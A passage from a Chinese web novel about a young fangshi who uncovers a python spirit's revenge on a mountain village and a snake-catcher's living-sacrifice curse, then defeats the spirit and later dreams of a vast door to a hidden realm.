“你咋了?”陆小旺见我没动静,也顺着我的目光看了过去,她也惊叹道,“这是龙脉?但看着不太像,风可过脊,这,不是龙脉?是蛇!”
我疑惑,“蛇还有脉?”
陆小旺没像之前那样看玩笑,而是认真地说道,“这世间有真龙脉和假龙脉一说,真龙脉运成天道,风在上,却过不了龙身,水在下,却沾不得龙鳞。而你看它,飘忽不定,忽现忽隐,下沾水,上过风,这是一条伪龙,道行不够,所以才似像不像。这不是龙脉,是一条真蛇。”
说到这里,陆小旺也是深吸了一口气,脸上的神色异常,有恐惧,有敬畏。
然而我却没看出来什么异样,眼中只是看到了延绵的长山,这条‘龙’神不见尾。
陆小旺突然拉了拉我的衣服说道,“冯宁,你是道士,能看到其他人看不到的东西。我刚才说的那些,都是爷爷告诉我的,我之前也遇到过。但我看不到他们的本体。但你不同,爷爷说,真正的道士,那是能看到本来面目的。你能看到吗?”
我疑惑,“搞了半天,你跟我一样都只是看到了山?”
她点了点头,却很认真地跟我说道,“是的,你呢?除了山,还能看到啥?”
陆小旺一点拨,我这才想起来自己有道力,我运转道力,双眼用力。
呼。
下一秒钟,我呼吸都跟着急促了。在我眼前,不再是那延绵的群山,而是一条上百米长的巨蟒,它的身躯搭在那山体上在蠕动。
而那我看不到的脑袋和尾巴,盘在那山体上,它的眼睛碧绿色,中间带有一条的黑杠,朝着天空吐着信子。
它的尾巴顺在山下,盘旋蠕动。
而此刻,哪怕我们相隔数十里,我却都感觉到了它在看我。
陆小旺突然拉了下我的胳膊,我这才回过神来看向她,陆小旺问我,“你是不是看到了?”
我点了点头,“嗯,它在朝我们这看,好像发现我在看它,但也可能是在看这块穴。说说那些坟头咋回事?”
这大蛇给我的压迫感太强了,我不确定它能不能听到我们说话,所以我给陆小旺使了个眼色。
她很聪明,知道我什么意思,转移话题,“这边的情况也不乐观,那二十几个坟,有十个都是空坟。还有,安家祖先的墓,我没找到。依我看,之前说的那两种情况都有。”
空坟?
安家的墓不见了?
还有一条盘在十几里外的百米巨蟒?
我有些头疼了。
别的不说,这条巨蟒给我的压迫感,已经很足了。
我说,“我们先回去吧。”
陆小旺点了点头,我们就往回走了。回去的路上,陆小旺这才跟我说道,“刚才你说有大蛇盯着这边,所以我没跟你明说,这次的事恐怕麻烦了。”
我奇怪,“你说。”
她又说,“干我们这一行,业界内有一个说法,不怕墓中死人,就怕墓中空。因为墓空必有妖。”
我深吸一口气,她又接着说道,“我刚才仔细地看了,死人的墓确实是随便葬的,没什么说法。但是那些空墓不一样,要下葬人的名字时间日期已经都写好了。全部都是明天。而上面写的死期,也都是明天下午四点!”
……
第六十九章小看了这姑娘
我愣了一下,停下脚步看向了陆小旺,“你是说人还没死,墓先立上了?”
陆小旺点了点头,从怀里拿出了小本子递给了我,“名字生辰死日我都记下来了,你看看。”
眼下虽然已经是夜里了,但寂静的大山里虽然幽暗,却还能看得清眼前笔记。
笔记上记得这些人,有男有女,有老有少,这个跨度很大。但死期却都在明天。
这个太诡异了,连我一时间都捋不出头绪。
我说,“先回去休息吧。”
陆小旺点头,“也只能这样了。”
回到了安家祖宅,我在小屋对付了一宿,一大早就听到有人说话。
起来之后,见到有一个老头来给我们送饭。干粮,米粥,鸡蛋,还有自家晒的萝卜咸菜。
老头姓吴,干巴瘦,一只眼睛瞎的。院子和香火,都是他帮着看的。
“昨晚我就知道你们安家回来人了,你们快走吧,别被村里人逮住,到时候就走不了了。”得知我们来拜祭祖宗,吴老头拿着扫把坐在炕沿上一脸担忧。
“吴爷爷,为啥要让我们走啊?我们还没拜祭祖宗呢。”安嘉倒是把我们想说的话给说了。
这老头从进屋就很紧张,看那样很不欢迎我们,感觉有点莫名其妙。
吴老头犹豫了下,“哎,这不就是你家那块墓地闹的嘛。我都记不清了,应该是好多年前,咱们村来了个云游道人。说是你家的祖坟占了村里的风水宝地,所以你家后人都飞黄腾达了。村里人一听这事就不干了,说是要去挖你家坟,我留了个心眼,半夜把你家坟地给平了。”
听到这我跟陆小旺对视一眼,怪不得找不到安家的坟呢,原来是这样。
吴老头继续说道,“而在第二天,村里人就去找你家祖坟了,但没找到。后来大家都知道那是风水宝地,连自家的坟地都不用了,村里死个人,不管啥人都葬在那,图个飞黄腾达。但谁知道因为这事,村里面怪事一件接着一件。先是寡妇怀孕,生了个大头死婴。接着就是村长大病一场,浑身长鳞片,折腾了一个月。再后来更夸张,有人撞到老刘家的儿子生吃活鸡。”
说道这里,吴老头那瞎眼睛闪着恐惧,而一旁的安嘉听得只咽口水,下意识地抓住了我的胳膊。
陆小旺皱了皱眉头,“这,真的假的。村里招东西这种事我也见过,但没这样夸张。”
吴老头瞪了陆小旺一眼,“女娃娃,你说俺跟你吹牛?”
陆小旺急忙摆手,“没有没有,爷爷,那这跟安家的祖坟有啥关系?”
吴老头脖子一抻,“咋没有呢,你们家占了风水宝地,把全村的运气都吸没了,所以才闹出这些怪事。要不是我在这村里有点威望,帮着打理你家祠堂,祖宅都给你家扒了。”
看撇了撇嘴,那样子倒是有点山里人的狠劲。
但说实话,我总觉得哪里不对劲,但又说不出来。要说我带陆小旺来就带对了,这女人经验太丰富了,拿着昨天记录的那小本子就走了过去。
他对吴老头说道,“爷爷,您看看,这些人您认识吗?还活着吗?”
吴老头奇怪地接过了笔记,“什么乱七八糟的,刘沟,钟昌林,马昌林,吴忠宝?怎么还有我的名字?”
念到最后,这吴老头突然皱了皱眉头。
我和陆小旺都愣了一下,找到墓地本人了?
“安家的人呢?给我出来,我知道你们在家呢,昨天晚上回来的,给我出来。”我这边还在惊讶,突然有人就闯进了院子,接着一群人气势汹汹的走了进来。
吴老头把笔记递给了陆小旺,叹了口气,“哎,让你们走你们不走,这下子好了,全都找来了,怎么办!”
我倒是有些意外,看上去文文静静的安嘉,鼓足勇气走了出来。保镖紧随其后,我们则也是跟了出去。
倒是那吴老头刚才还说自己怎么硬气,帮了多大的忙,结果他从后门跑了。
院子里站了一帮人,少说几十号,院门口的土路上也围了不少人。
领头的是个中年人,约莫三十来岁,穿得土里土气的,一脸的横肉。
我们这一出来,这中年人就咬牙切齿的说道,“哼,还真是你们老安家的人啊,害了我们几十年,你是不是要给个说法!啊?”
安嘉攥紧拳头,她看上去很害怕,但还是说道,“我叫安嘉,我是安国强的女儿。各位,我们安家怎么害你们了?”
那中年人怒道,“哼,占了我们村的风水宝地,把坏运气都给了村里面?这不叫害人?说,你们安家的坟在哪?我要给它刨了!”
有个村妇叉着腰说道,“就是就是,你们安家是飞黄腾达了,吸了运气,村子里的人呢?不得安宁!今天要是不给个说法,别想走。”
安嘉吓得有些站不稳,强忍着说道,“各位,我爸爸跟我说过,那块风水宝地是我太爷爷跟村长买的。当时全村的人都签了字,把那块地给我家当墓地,当时也找风水先生看过了,说不会有问题的。我太爷爷下葬之后,村里也没出过事。倒是你们,为什么要动我家的墓地?”
连我都有些意外,这个安嘉平时文文弱弱的,但说起话来真的铿锵有力。果然啊,人不能只看表面。
来的这些人突然都有些哑火。
连带头的那中年人都支支吾吾的,我眯眼,这样看来,他们不是不知情,反而应该都知道怎么回事。
“哼,那都老一辈的事,谁知道怎么回事?你说有就有?”那中年人还死不承认。
安嘉早有准备,跟保镖使了个眼色,保镖拿出了几张泛黄的纸。
她举了起来,“各位,这是当年老村长批的字据,这些是大家祖辈们按手印的字据。前段时间我父亲找人来调查了,这些年村里确实出了不少事,都是一些怪事,但都是在你们把人埋在我家坟地以后出的事。所以说,你们不动我家的坟地,那就不会出事。”
在证据面前,村里人又一次哑火。
安嘉把字据地契又给了保镖,随后又说道,“我们老安家能有今天,是一步步脚踏实地走出去的。大家说我们靠风水,那你们呢?人也葬在我家坟地了,怎么连个大学生都没出来?”
……
第七十章道理不如拳头
说这话的时候,这个文弱的姑娘挺起了胸膛,像是出了一口恶气,用一种漠视的眼神看着所有人。
然而安嘉自以为的正确,却还是低估了人性的恶,村民们一个个面无表情,抻着脖子,根本没当回事。
那领头的中年人撇着大嘴,“你别跟我说这些没有用的,今天要是不给我们一个说法,俺把你家坟挖了!把你祖宅给你弄塌了。”
安嘉傻眼了,“你们,你们怎么不讲理。”
领头的狠狠地瞪了他一眼,“少特么废话,俺可不管你是谁的闺女,在这村子,俺说的算。滋滋,要不这样吧,那女人长得不错,留给俺当女人,俺放你们走!”
他的话周围哄堂大笑,那些原本淳朴的脸,给人一种很可怕感官。
安嘉气的手哆嗦,“你,你们……”
领头把拎着的搞把抗在肩上,“咋地,你也想留下来给我生娃娃?哈哈哈!”
又是一通哄堂大笑。
这种事对我而言倒是见怪不怪了。
这领头的一看就是那种滚刀肉,土皇帝,讲道理?安嘉找错地方了。
“那你们想咋地呢?”这人看着是在说笑,但那眼神已经把两个女人当成禁脔了。他说的都是真的,奔着两个女人来的。
但也别说他穷横,还真不是,他还是忌惮安嘉的身份,所以指定的是陆小旺。
“你特么谁啊?”领头的横着眼睛。
我眯眼一笑,心中默念一个‘行’字,下一秒钟就来到了领头那人面前。
“啊!”我都没动手,这人像是见了鬼,吓得腿一软退后三四步,肩上的搞把都扔了。
其他村民也吓坏了,一个个噤若寒蝉,有的更是从院子里跑到了院门口。
“这件事是不是你说的算?”我问。
“这,这,是!怎么地!你吓唬我啊!”领头的狠狠咽了口吐沫。
我心中默念一个‘行’字,上去就是一个大巴掌,把领头的从地上抽飞到墙上。又默念一个‘行’字,回到了原地。
在他们眼里,就像是从来没动弹一样。
“鬼,见鬼了,你,你,你是啥啊!大仙?”领头的傻眼了。
说实话,我还真想用‘大仙’这个身份,但不知道咋回事,我不能点头,也不能说是。就好像有一种力量拖着我,不允许我承认。
其实我也有些纳闷,我说自己是看事的就没事,但大仙,道士,佛这类的就不行。
直到后来我才顿悟了,祖师爷的问题,我们这方士的祖师爷非常有脾气,他看不上其他的。至于看事的,那是个模糊的概念,准确点说人自己弄出来的,没传承,所以无所谓。
言归正传,我这一手还真把他们给镇住了,那领头的扑通就跪在那了,一个劲的给我磕头认错。
其他村民面面相觑,也都跪在那了。山里的村子跟城市化的村子可不一样,特别是东北这地接,山里的村民信奉山神,对五仙的信奉深入骨髓。
“你看看本子上的这些人,你都认识吗?”我给陆小旺使了个眼色,陆小旺把本子拿了过去。结果这家伙不认字,只能又拿给别人看。
“哎呀妈啊,大仙啊,这是我家老爷子,您咋知道呢!”
“这,这不是我叔吗?”
“这是俺家的大孙子!”
…
十几个人,很快都认出来了,但到了吴老头那,他们的脸色却都不是很好。
支支吾吾,不敢说话。
倒是那个领头的胆子大,为了讨好我,小声跟我说,“这吴老头是我们村里的赤脚,还会看事,但人已经死了,死之前,他让我们在今天下午四点抬他尸体去下葬。啊,我想起来了,你说的那些人,是他指定过去的。”
轰。
听了这话,我跟陆小旺对视一眼,死人给我们送饭?
再看安嘉,那脸都白了,当场吐了起来。就连那保镖都头皮发麻的瞪大眼睛。
“你们这总出事,不是人家安家的问题,而是你们这的风水出了问题。我来这,就是解决这件事的。你们要是再闹下去,那我就不管了。”我面无表情,把手背在身后说道。
“别,别,这位大仙,您可不能放任我们不管啊。这十年啊,可把我们霍霍惨了。您是不知道,我们这村子人都走不出去,之前老李家两口子去探亲,结果人死在了路上。”领头的撇着大嘴。
“吴老头灵堂在哪?”我问。
“那。我带您去。”
“不用,这老头身上有东西,你们去不吉利,全都散了吧。”
说完我转身就朝着屋里面走去。
果然,我这一番操作下来,那些村民一溜烟的都跑了。
“蜡烛,五毒虫,金克子……那吴老头,真不是人!”进屋,吴老头拿的东西还在呢,但从米粥,咸菜,变成了陆小旺说的这些东西。
呕。
看着那蜈蚣蝎子,他们三都吐了出来,但我倒是没啥感觉,甚至看着那被啃了半截的红蜡烛,还觉得有点好笑。
这玩意吃着肯定不舒服,其他的倒是还好。
“怎么办?这次肯定是遇到大家伙了,连你都没看出来,那道行肯定不浅。咋办?”陆小旺吐完,那脸蜡黄,但她承受能力确实强,竟然很快的恢复了。
“你还没看明白吗?”我卖了个关子看向陆小旺。
“咋回事?”陆小旺一脸懵。
“你来之前跟我说过的,这种情况只有两种可能,第一种是人为的,第二种……”我眯了眯眼。
“被仙家盯上了?”陆小旺恍然大悟,“我知道了,它大费周折,是想霸占这块福地。这就是它的办法!”
陆小旺果然聪明,一点就透。
我点了点头,“应该就是这样了。”
陆小旺,“可是,我们虽然知道它要干啥,但却不知道该咋阻止它,你有啥办法吗?”
我淡淡地说道,“等就行了。”
陆小旺深吸一口气,她显然也是没招了,从昨晚到现在,她看上去很疲惫。
这件事实在超乎想象。
安嘉突然怯生生地问我,“冯宁哥哥,我们还能回家吗?我,我有点想家了。”
看着安嘉发白的脸色,我都有点心疼这姑娘了。直到现在我才知道安国强让她来的用意,是想着利用那地契证据,平复村民们的怨气。
但很显然安国强失策了,或者说有点脱离了现实。想法是好的,实际情况很糟糕。
好在对付这些人,我是很有经验。
“能。”
“等就行了。”
“看你冯宁哥哥降妖,除魔!”
我转头看向远处,在那里,似乎有一条百米长的大蛇在吐着信子,盯着我。
……
第七十一章我的实力
面对这庞然大物,我没有了昨夜那种紧张,反而在平静下,内心生出一种兴奋。
那是一种对未知探索的兴奋。
好像是骨子里的兴奋。
听了我幽默的话,大家的情绪也都好了些,倒是陆小旺来了句小屁孩。
说实话,这话我特么有点破防了。这女人以貌取人!
很快,一小天过去了。中午的时候那个领头的来送饭,但大家大眼瞪小眼,一口都不敢吃。
至于嘛,我不是不敢吃,我是直接不吃。以我现在的实力,七天不吃饭没啥影响。
眼看天要黑了,倒是陆小旺有点坐不住了,看了一眼她手腕上的手表,“冯宁,这都快四点半了,村里面也没动静。我们会不会猜错了?”
然而我笑道,“没动静就对了。你是不是忘了,他们四点要干啥?”
陆小旺低头思索,然后突然说道,“下葬吴老头!”
她话音刚落,院子的门突然被推开了。
安嘉抓住了我的手,吓得手心冰凉,她声音颤抖,几乎要哭了,“冯宁哥哥,吴,吴老头!”
来的不是别人,正是村民们口中说的那个已经死了的吴老头。
轰隆隆。
随着吴老头走了进来,房屋突然在颤抖,大厅里的灵位来回晃动,就跟地震了一样。
但说来也是奇怪,晃动幅度这么大,那灵牌硬是不掉下来。
“你要跟我出去看看嘛?”我问陆小旺。
“走,是福不是祸,是祸躲不过。等会要是打起来,我捅它锭!”陆小旺兴奋地搓了搓手。
不得不承认,陆小旺跟我一样也是个怪胎,这种事大多数人躲还来不及呢,她却跟着凑热闹。
“你们俩在屋里就行。不要厉害祖宗的灵牌。”我瞥了那些灵牌一眼,我要是没猜错的话,刚才那地震晃动,是他们弄出来的,他们在震慑。
但眼下来不及去多想,我跟陆小旺三两步出了屋子,而那吴老头也停下了脚步。
在我眼里,吴老头浑浑噩噩,神志不清,有点像是行尸走肉。
我看了陆小旺一眼,她的表情变化不大,我猜她跟我看到的应该一样。
我运转道力,双眼用力,在道力的环绕下,那吴老头有了变化。
他还是那副行尸走肉的模样,但一双透着墨绿色的眼睛在盯着我,嘴里还吐着信子。
而在他的身后,那是一条盘着的黑蛇,庞大的身躯,散发着纯黑色的煞气。
这玩意成妖了!
还是个大妖!
长白山遇到的那六尾狐跟这东西,完全不是一个级别的。
“蟒仙?”我问。
吴老头那蛇眼瞳孔紧缩,随后真就口吐真言,“怪不得有些本事,原来是真道士。你不该坏我好事。”
说实话,面对这种庞然大物,世人都觉得恐怖的生物,我是真的一点不觉得害怕。还反而有种久违了的亲切感。
那种感觉像是我们同出一脉,但我是人,它可不是人,所以这种事不存在的。所以我也很纳闷,怎么会有这种感受。
“蟒仙可有姓名?”我随口问了一句。
“蟒天龙。”它说。
我没想到还真有回应,听到这名字,我纳闷道,“不是说五大仙,除了狐仙为真仙,其他都是道门吗?”
听了我的问话,蟒天龙那信子吐得很长,它倒是耐心十足道,“哼,你真是道士吗?东北出马仙和道统都分不清?”
我被问得一愣,我总不能说自己真是野路子出身吧。
眼下我真想弄清楚一些事,但它那煞气越来越浓,我皱了皱眉头说道,“你越界了。”
说完,我浑身道力散开,那道气金黄流转在我四周,如燃烧的火焰,一点也不比它那背后的蟒蛇气息弱。
蟒天龙瞳孔紧缩,露出忌惮之色。但它不甘心,突然朝我就扑了过来。吓得身后陆小旺大叫。
我完全不惧,甚至那种兴奋让我不自觉地冲了上去。‘道’字真言,‘行’字步伐,‘靈’字加持。我看着那大蛇朝我张开血盆大口咬来,一拳轰了过去。
嗷!
那大蟒蛇嚎叫如野兽,连同那吴老头都被我打飞了。
“爽!”
我兴奋,一直以来,我对自己的实力都很模糊,不知道能做到哪一步。
而在踏入筑基期之后,又跟陈红睡了,实力又突破了一个小段位,如今应该是筑基中期。
但我对自己的实力陷入了一种迷茫的状态,我很需要一个发泄点。
结果蟒天龙来了!
“不可能!”蟒天龙急了,它来找我麻烦,却被我轰飞,它起身又一次扑了过来。
我深吸一口气,全力调动身体中的道力,然后猛地嘶吼,似乎只有这样才能宣泄出来。
轰!
随着我的爆发,那金光流转的道力,如水中波纹,竟然荡出数百米。
吴老头没等冲过来,硬生生又被吹撞在了墙上。我腾空而起,右手握拳就要朝着他砸下去。
“别打了,我打不过你,我认栽了,别毁我百年的根基。”吴老头突然摆手,他眼神恐惧地盯着我,放弃了抵抗。
但我拳头都举起来了,那种爆发感怎么可能说手就手,我一拳轰了下去。
刚才还镇定自若的蟒天龙,吓得抱住了头。
然而,我这一拳并没有轰在它身上,而是轰向了院外。那拳风卷起旋涡轰到百米开外,所到之处,寸草不生,地面直接轰出来一道一米宽的沟壑。
我的身子落在了院中,如此强大的破坏力,我确实没想到。
本来应该兴奋,但我的内心却异常的平静。我深吸一口气,我心里很清楚,这一拳要是不轰出去,我恐怕都能走火入魔。
眼下不是平静,而是心情舒畅了,我猛地看向蟒天龙,这家伙差点害了我。
“说吧,到底怎么回事?”我们之间的较量已经结束了,它不是我的对手。
而作为强者,我有发问的权利。
蟒天龙败的很干脆,但它倒是败得输得起。把事情原原本本地说了出来。
原本我以为就是它一时贪心,所以起了贪念想占了人家安家的祖宅。
结果这事根本就是人性的贪心促成的。
……
第七十二章阴毒的活死人
蟒天龙修行百年,但对妖物而言,不过是个强装点的中年罢了。在他上面还有蟒爹蟒娘,蟒爷蟒奶,还有蟒太奶,蟒太爷。
在妖物成年之后,要寻找一片自己的地头,供它们修行。但因为天道的影响,它们在选好了地头之后,必须护着一方水土,也就是常说的山神。
于是蟒天龙在十年前来到了抚城地界的这块山,成了当地的山神。他还为此化身为道士指点大家修行。
起初大家还很感激他,愿意拜他这个山神,他也为此竭尽全力地呼风唤雨,保佑风调雨顺。
但随着两年过去,那村长不知道从哪听的消息,说吃了蟒仙肉能长生。
在知道它那道士化身就是它之后,竟然在半夜伙同几十个村民,把它的化身给分了,然后挨家挨户给吃了。
化身被毁,它五十年的修为毁于一旦。
说道这里,蟒天龙的那双蛇眼,竟然有着人类的情绪波动。
连我都有些皱了皱眉头,生灵都很纯粹的,这恩将仇报,不遭难才怪。
蟒天龙深吸一口气,又继续讲述。
出主意的人就是这个吴老头,别看这老头老老实实的,其实一肚子坏水。
他家世世代代地捕蛇,家中有传言,蟒仙蛇胆泡酒,百年无灾。
他之所以那样做,想把蟒天龙引过来,挖了它的蛇胆。
得知这些,蟒天龙大怒,这才有了之后的报复。但报复的路也不是一帆风顺,安家祖坟葬在了虎穴上,祖先早已经成了供奉。
所以在知道这事之后,它一边想着报复村子里的人,一边设了个局,让那些村民破坏安家祖坟,把自己埋进去滋养。
而今日四点,便是最佳时辰,却被我给破坏了。所以它来找我的麻烦。
“那远处的百米长的大蛇是你的真身吧?”我问。
蟒天龙震惊,“你能看到我的真身?”
我奇怪,“能?有啥问题吗?”
蟒天龙疑惑地看着我,但还是说道,“世间九重天,而人间占三重,一重阳间,一重阴间,一重虚间。而我的真身则是在虚间,在人类看来,应该是一座山。”
我惊讶,“你是说除了阳间和阴间,还有一个叫做虚间的地方?他们都在这片空间里,但相互触碰不到?”
蟒天龙点头,“是的。阳间和阴间的生灵,当修行到了某种境界,都要前往虚间。因为只有到了虚间,才能踏入往上的三重天,也叫三六重天。而像你这样能直接看到虚间生灵的,我第一次见到。正常来讲,道士倒是有一种办法能前往那个虚间,那就是冥想,也叫做元神之力。但你应该没有达到那个境界。”
我想了想说道,“我不是道士,我是方士。”
听到我的话,蟒天龙脸色大变,“你,你是,先秦的那帮家伙?”
我皱了皱眉头,“咋说话呢。”
结果蟒天龙深吸一口气说道,“你要是放过我,我欠你一个情人,他日有机会还。”
我不理解蟒天龙为啥会是这个反应,但我知道再问下去也不会有结果的,对方显然对先秦方士有点忌惮。
想了想,我还是放他走了。
得到我的默许,蟒天龙深吸一口气,念了一个‘解’字,化成了一溜烟消失了。再看那吴老头,倒在了地上,昏迷了过去。
“完事了?”陆小旺凑了过来问我。
“嗯,你不是都听到了吗?”我问。
“啊?听到什么?我就看你揍这老头了。然后这老头缩在那求饶,嘴里面跟念经似的说着啥,但没有声音。是蟒仙?”她满脸疑惑。
看到陆小旺那样,我也不知道该怎么解释。这让我想到了铃铛,这玩意轻易不响,而就算响了,有些人也听不到一样。
难不成?这玩意也是虚间的东西?
我说,“是蟒仙,被我打服了。他应该不在犯事了。”
看着远方的那大蛇,他已经蠕动了身躯,朝着另一座山盘去,然后渐渐的消失了。
至于它的那些话,我更相信是真的,比起人的拐弯抹角,其他生灵的表达更纯粹。说实话,它也是受害者,五十年的修为,那相当于削去了一半的修为,怎能不发火?
陆小旺惊讶,“你确实跟其他道士不太一样,我还是第一次听到人说打服了蟒仙的。”
我说道,“它走了,安家坟地的事,你应该能摆平吧?”
陆小旺咧嘴笑道,“这个你放心,红白喜事化妆,缝尸看事修坟地,我都擅长呢。”
我点了点头,陆小旺还是有本事的。再看那吴老头,他扑棱一下站了起来,连我都吓了一跳。
后来才知道这老头没死,但另一只眼睛却也瞎了。之后事情的来龙去脉也就清楚了,正如那蟒天龙所说的,这老头是个捕蛇人,想吃人家苦胆泡酒。
本来他还真有这个本事,甭管是大蛇还是蟒仙,他都能镇得住。但因为贪心安家的墓穴,挖错了穴,遭了天谴眼睛瞎了一只,再后来百病缠身,反被蟒天龙给盯上了。
“哼,事情没那么简单吧?光凭着那蟒仙自己,应该做不出那么多的坏事。”我冷冷地看着他。
吴老头已经完全瞎了,但却能看到他那泛白的眼神在闪躲,他交代,“我被那蟒仙折磨得痛不欲生,为了能不遭罪,我把家里传下来的活人祭祀的法子告诉了他。我给村里的十几个人下了诅咒,四点的时候他们会抬着我进入坟地,把我埋了。而他们也会化蛇,钻进土里。我能不受痛苦地死了,它们则永远给蟒仙做药引。”
陆小旺脸色极其难看,怒火冲天,“活人做药引,生不如死,你这样做,就不怕天谴嘛!你这个杀人犯!”
在吴老头的脸上,看不到一丁点的情绪波动。他狠辣道,“他们活该,要不是他们贪心,也不会被我利用。哼,我死得舒坦了,他们怎么个死法,跟我有啥关系。”
闻言,我开口道,“这个倒是。但你确实马上要成功了,但很可惜,就差一步。”
吴老头也是不可思议道,“这位道爷,我也想知道,我输在哪了?为啥他们都没去把我埋了!”
我笑着说道,“你输在了我的一句话上!”
吴老头扑棱一下看向我这边,那浑浊的眼神,要不是知道他全辖了,我都认为他在看我。
“哪?”他问我。
“我跟他们说你这老头身上有东西,不吉利,他们就不敢去抬你下葬了。你就输在我的这句话上!”
“啥!就因为这句话,他们没敢去!”
“是!”
……
第七十三章虚间
还真不是戏剧性,这些话我当时故意说给村民听的。那会我觉得村民不把吴老头抬到坟地那,这件事就有解决的办法。
另外也不是直觉,是我算到了这一步。我认为这个‘四点’这个时间有玄机,跟空坟有关联。但我当是想的是蟒仙作祟,却没想到吴老头跟蟒仙会有啥联系。
吴老头‘看着’我,那双瞎的眼睛浑浊,跟白内障的患者差不多。他浑身颤抖,嘴唇发白,“就差,就差一步啊,我就能死了。我的后人,也能飞黄腾达了。”
我们几个面面相觑,吴老头还有后手?
虽然很多疑问,但这件事也就到此为止了。这人私心太重,嘴里面没有实话,再问也问不出个啥。
之后我们又去了一趟坟地,陆小旺凭着本事找到了安家的坟,顺便做了修复工作。至于其她的坟她没动,按照她的说法就是也不影响啥了,这些坟在还能混淆视听。
因为安嘉要祭拜祖宗,我们又留了两天。结果吴老头自杀了,吊在了他家的房梁上。
至于村民,那些陆小旺本子上记下来的名字也都没好,十来个人全都死了,死相恐怖。
后来我才知道,这些人都是吃了蟒天龙化身肉身的,哪怕没吃过的,也都是直系关系,要么儿子,要么是亲孙子。
这是一种因果诅咒。
村民们都吓坏了,也都老实了,走之前来送我们,一个个眼神敬畏。我突然明白了,这些村民是把我当成蟒仙了,认为我在报复他们。
我说,“各位,我不是你们想的老仙,我是安家找来看事破事的。事情已经破了,我跟那老仙聊过了,恩怨从此了解。你们要是想世世代代安心活下来,多祭拜祭拜安家那祖宅,这次是人家老祖宗看在同村的面子上护你们了。”
一听这话,村民们热泪盈眶,连那个滚刀肉都在那抹眼泪,一个劲地说知道错了什么的。
但我没兴趣听下去,迎来了返程。
跟来时候不同,来的那会走步进山的,现在是坐着牛车,虽然慢了点,但欣赏一下风景也还不错。
牛车上,陆小旺凑了过来,小声在我耳朵那嘀咕,“我以为我都够能忽悠人了,你这更能忽悠人,说,你跟这安区长到底啥关系?这么卖力?临走了,还忽悠村民帮着守宅子?”
我摇头,“我这还真没有忽悠人。你知道为啥那蟒仙迟迟不能动手吗?”
陆小旺疑惑地看着我,“为啥。”
我看向了那渐行渐远的村子,在那上方,我隐约地看到了一个人,他立在虚空,也在盯着我。
我又转头看向了陆小旺,撇了一眼安嘉的背影,“一个蟒仙,十年没有达到目的,还要借尸还魂去拜祭一人间祖宗。这事本身就很离奇了。至于为啥,只有天知道。”
陆小旺点了点头,也看了安嘉一眼,最后没有说啥。
倒是我,一路上想着那虚间是什么地方?我该如何踏入。
到了哈城,我们各自分开了。
而等我回到家没三天,王远就把剩下的二十万送了过来。他说安国强对这事非常满意,有机会去哈城喝酒。
拿钱做事,天经地义。至于那些客套话,我都当做没听见。
而我又开始了一段清闲日子,直到九月份,突然有一天我打坐修炼,意识竟然在一个漆黑的地方前行。
我一直往前走,不断地往前走,除了一个白色的光点,啥也看不到。也不知道走了多久,我终于到了那光点之处。
那是一道门,高耸入云,看不到天际。那门朱红,上面有着门钉,我数了数,我能看到的有四十九颗,但我推断上面应该还有。
门上有着俩兽面的把手,这玩意我知道,它叫铺首,在朱门上常见的装饰。
而在门的两侧有着两座活灵活现的石狮子,他们纹丝不动,但我却觉得它们的眼睛在盯着我,这让我很忌惮。
这门有缝?
我找到了光的来源,在这门缝当中,我尝试顺着门缝看看,但根本什么都看不到。
随后,我突然脑中有了一个想法,虚间!门后会不会就是蟒天龙说的虚间!
我越想越觉得有可能。我去推开门,但结果呢?那门纹丝不动,这让我有种抓脚心那种痒痒,对里面非常好奇。
铛!
我身后突然传来了一道钟声,声音源远流长,似九天之外而来。
我还纳闷呢!
我背后是我刚才走的路,除了一片漆黑,啥都看不到,哪来的钟声呢!
随后我就觉得像是有东西吸着我,把我抽走了,就像是面条被拿在手中抖动,我整个人轻飘飘的。
等我睁开眼睛,已经是回到了现实世界,而我也突然感觉有些疲惫。
但实在太奇妙了,我想着在进入那种状态,却怎么也进不去。
晚点的时候,我妈跟我说大嫂的小妹结婚,家里人都去帮忙,所以我也得跟着去。
大嫂的娘家离这也不远,离我家十来里地,是个乡,叫大姑娘乡。
他们坐车去的,但我没有,我怕欢欢在家饿着,带着它走过去的。
眼下,欢欢已经是一只大狗了,它通体发黄,毛发锃亮,看上去非常的强壮。
说实话,很难在一条狗身上看到肌肉,线条,和力量感。
虽然如此,但欢欢很乖巧,一路上安静地跟我走着,脑子里也不知道在想些啥。
我的速度很快,但欢欢的速度也不慢,等到了大嫂娘家我才发现,这狗玩意竟然会‘行’字真言。虽然是简易版的,但它确实会啊。
我还在惊讶呢,但等我一进门,大嫂她爹她娘就热情地招待我来着。
在看到欢欢后,还夸赞,“哈哈哈,今年都知道你们老冯家出了个看事的,你看,连狗都油光瓦亮的。这狗也会点啥吧!”
我心想,我大哥这老丈人有点本事啊,欢欢藏这么好?都给发现了。
结果没等我说话,我大哥老丈人就摸了摸欢欢的下巴颏,“黄狗,黑嘴,哎呀,你瞧瞧这大黑嘴,这玩意吃粪老猛了!”
我愣住了,忍不住看向欢欢,再看它,在那低头摇尾巴,好像特么有点心虚?
……
第七十四章山中老院
大嫂爹把欢欢领走了,说请它吃顿好的。具体去哪,那我就不知道了。
我爹我娘看我来了,招呼我,我娘一个劲的夸新郎帅,说我嫂子家得了个好女婿啥的。
我爹点了支烟,脸上没啥表情。我跟我爹说道,“爸,你这咋不笑呢。”
我爹撇嘴,“你看你大哥。”
我顺着手指看了过去,我大哥那是被众星捧月,我大嫂娘都给点上烟了。
我疑惑,“咋了爹,人家热情嘛。”
我爹撇嘴,“屁个热情。你大嫂家我还不知道,以前你大哥跑摩那会。跑这大姑娘乡上,那天都黑了,连门都不给开,住一宿都不让。”
这事我也知道,那会大哥没钱,不怎么招人待见。印象里大哥领我来这吃席,吃饭都没让上桌,还当着他的面说我傻子。
男人没本事就这样,说得再好,你人再老实,都被人当成窝囊废。
我没接话,我娘用手拍打了一下我爹,“大喜的日子,乐呵乐呵,你说你老了老了,咋还来脾气了呢。”
以前我娘都是夫唱妇随,老了老了,我娘突然说得算了,连我都觉得惊奇。
很快,新娘新郎拜堂,流水席走起。原本我们一家子打算随完礼,吃完饭直接走的。但耐不住大嫂家热情,说是晚上放电影,又把我爹捧得老高,所以就留下了。
都是乡里乡亲的,聚在一起聊的就是七大姑八大姨家的那点事。各种八卦,如滔滔江水,根本聊不完。
直到放电影了,这些老一辈的嘴才消停了。这会没啥看的,都是些农村片。我不太喜欢看,所以看了不到五分钟就带着欢欢四处溜达了。
大嫂娘家这个乡来了几次,说是个乡,其实就是个挨着道边的村子。
